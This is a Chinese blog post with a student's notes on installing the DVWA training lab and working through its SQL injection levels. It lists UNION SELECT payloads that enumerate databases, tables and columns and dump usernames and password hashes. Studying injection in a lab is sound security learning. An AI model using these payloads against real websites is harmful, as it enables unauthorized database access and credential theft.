【DVWA(一)】安装使用 & SQL注入学习心得

DVWA 环境搭建和安装简易使用

    下载安装phpstudy,这部分不用说了,肯定大家都有,或者安装过。在浏览器输入127.0.0.1,测试一下。

    官网下载DVWA http://www.dvwa.co.uk ,解压后放在phpstudy的www目录下。

    此时mysql的密码还是空,登录的时候会提示不能空,可以从phpstudy的界面【其他选项菜单】->【My SQL工具】->【重置密码】。

    将DVWA/confing下的config.inc.php.dist修改为config.inc.php,找到其中的db_password的对应值改为刚设置的。

    浏览器输入127.0.0.1/DVWA,出现登录界面,账户名和密码分别是:admin和password。

直接使用MetaSploitable-2镜像搭建靶机

    MetaSploitable-2靶机系统,包含DVWA,安装更简单。具体操作网上很多,此处不赘述。


DVWA的简介

首先,DVWA有多个模块,涉及网络安全的方方面面,其次,代码等级分为Low,Medium,High,Impossible四个等级,在官方介绍中有提到High难度跟ctf接近。

因为研究生阶段即将开始网安的学习,所以好好研究DVWA成了开学前给自己的重要任务。接下来将针对各个模块进行学习笔记的记录,因为是从头学,所以难免啰嗦。

这篇文章只是针对我在学习研究DVWA过程中学到的知识点,和遇到的困难,有不对的地方还请大神不吝赐教。


DVWA - SQL注入

需要注意两部分:第一,右下角有查看源代码的按钮,对于分析四个难度的区别很有帮助;第二,从我目前的知识水平觉得,SQL注入需要实战经验,所以接下来的笔记仅仅是沿着车辙,按图索骥的学习。

【1】low

第一步,

习惯上输入1,可以看到返回对应1的数据库中的内容,而且输出三行,分别是

ID:1

First name:xxx

Surname:xxx

具体内容不管,总之第一行是输入的内容,原封不动显示了,二三行是可以我们直接用来显式显示的内容栏。


第二步,

分别输入1 and 1 = 1,和1 and 1 = 2;【这里我之前不理解,现在自己的理解是:这一步,可以看输出内容,进而判断是否存在注入点,因为输出结果都一样,所以源代码一定是没有对输入内容进行判断,所以,应该是存在注入点的】


第三步,

分别输入1 'and 1=1#,和1 'and 1=2#;【此时 ‘ 和 # 为第一个1(id)形成了闭合】到这里,根据输出内容,可以断定,存在注入点了。


第四步,

1 'or 1=1 #,可以爆出所有内容,也就是有五个用户,这一步我是为了验证前几步的观点,下面就是暴库,搞到密码。


第五步,

暴库:关于这一步,其实有很多知识点,我还没怎么入门,留着一个专门的坑整理这部分,已下是测试过常用的部分

1' union select 1,database()# 爆出数据库名称:dvwa

1 'UNION ALL SELECT version(),1# 爆出运行的mysql版本

1 'UNION ALL SELECT table_name,2 FROM information_schema.tables# 爆出所有表名(此时是所有库里的)

1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'# 爆出所有表名(dvwa库里的)

1' union select 1,column_name from information_schema.columns where table_name='users'# 根据爆出的表,去查找所有列

1' union select user,password from users# 根据所有的列名,查找需要的对应的内容(这里我把那两个显式的输出分别输出user,password)

总结:到这里low等级注入攻击结束,已经得到需要的全部密码了,先用单引号和and测试是否有注入点,然后暴库,根据库暴表,根据表暴列,根据列找到所需的所有内容。

【2】medium

第一步,分析,medium级别是一个下拉列表,当改变输入时,网址http://127.0.0.1/dvwa/vulnerabilities/sqli/#,可见多了#,但是无论怎么改网址都不变,所以应该不是get型,而是post型。

第二步,用hackbar测试一下(这里留一个关于hackbar安装的坑,已补坑 https://www.cnblogs.com/wayne-tao/p/11022640.html),在post中输入 id=3&Submit=Submit,运行发现,输出正确,post型注入可行!

第三步,这时候就已经跟low等级一样了,在id=之后输入注入查询代码即可,注意此时 ‘ 和 # 提示错误,推测是源代码进行了处理,所以去掉继续尝试,可行!到这里medium就解决了

总结:难度主要体现在下拉列表上和输入检查上,可以通过工具避开,其他原理跟low一样,除了hackbar还有burp suite也可以实现,这里留着之后专门再研究这两个工具,留坑,

补坑【Hackbar的相关用法】

【3】high

high等级很奇怪,我发现方法跟low完全一样,唯一的问题是,change id需要从新的窗口输入,输入内容上跟low完全一样。暂时还没明白跟low等级的区别。留坑对四个等级源代码进行对比分析

【4】impossible

impossible等级用的pdo,目前貌似是没法注入。


转自:https://www.cnblogs.com/wayne-tao/p/11006771.html

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,402评论 6 499
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,377评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,483评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,165评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,176评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,146评论 1 297
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,032评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,896评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,311评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,536评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,696评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,413评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,008评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,659评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,815评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,698评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,592评论 2 353

推荐阅读更多精彩内容

  • 1.何为Sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最...
    打伞De鱼666阅读 1,442评论 0 7
  • 测试dvwa总结 : 1.判断一个数据库(php + MySQL )有注入点 2.遍历这个注入点所在的表的所有记录...
    小浪崇礼阅读 618评论 0 1
  • 姓名:于川皓 学号:16140210089 转载自:https://baike.baidu.com/item/sq...
    道无涯_cc76阅读 1,946评论 0 2
  • Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行...
    付出从未后悔阅读 696评论 0 3
  • 安全级别:low 使用手工注入 目标:http://192.168.2.35/dvwa/vulnerabiliti...
    小浪崇礼阅读 357评论 0 1